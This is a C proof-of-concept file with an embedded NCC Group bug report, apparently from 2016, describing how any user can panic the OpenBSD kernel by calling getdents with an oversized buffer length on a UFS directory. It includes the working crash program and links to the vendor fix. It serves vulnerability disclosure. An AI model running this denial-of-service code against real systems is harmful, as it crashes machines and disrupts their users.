/* * ufs_getdents_panic.c * Demonstrate a panic in UFS through the getdents system call. * * gcc -g ufs_getdents_panic.c -o ufs_getdents_panic */  #ifdef BUG_WRITEUP //--------------------------------------------------- Any user can panic the kernel with the getdents call with a large buffer size   Impact: Any user can panic the kernel if they can access any directories of a UFS filesystem.   Description: When processing the getdents system call, the UFS filesystem allocates a buffer with a size provided by the caller. This size can be any value less than INT_MAX, and need not correspond to an actual buffer held by the caller. By providing an overly large size, a caller can trigger a panic in the kernel of "malloc: allocation too large" or "out of space in kmem_map".   This issue is triggered by an allocation in ufs_readdir():   diskbuf = malloc(readcnt, M_TEMP, M_WAITOK);   here readcnt originates with the buffer length to the getdents call, which was placed in the uio_resid field:   count = uio->uio_resid; entries = (uio->uio_offset + count) & (DIRBLKSIZ - 1);   /* Make sure we don't return partial entries. */if (count <= entries) return (EINVAL);   /* * Convert and copy back the on-disk struct direct format to * the user-space struct dirent format, one entry at a time */  /* read from disk, stopping on a block boundary, max 64kB */readcnt = max(count, 64*1024) - entries;   This condition can be triggered by any user who can read a directory on a UFS filesystem.   Reproduction: Run the attached ufs_getdents_panic.c program. It will pass call getdents with a NULL buffer and a large size, that will trigger a panic such as 'panic: malloc: allocation too large, type = 127, size = 1879048192'. NCC Group was able to reproduce this issue on OpenBSD 5.9 release running amd64.   Recommendation: Limit the readcnt in ufs_readdir() to an ammount that isreasonable to allow an allocation for.   Reported: 2016-07-12 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/ufs/ufs/ufs_vnops.c.diff?r1=1.128&r2=1.129 http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/015_dirent.patch.sig http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/019_dirent.patch.sig   #endif // BUG_WRITEUP ---------------------------------------------------   #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <dirent.h>   void xperror(int cond, char *msg) { if(cond) { perror(msg); exit(1); } }   int main(int argc, char **argv) { int fd, x;   fd = open("/", O_RDONLY); xperror(fd == -1, "/");   x = getdents(fd, 0, 0x70000000); xperror(x == -1, "getdents");   printf("no crash!\n"); return 0; }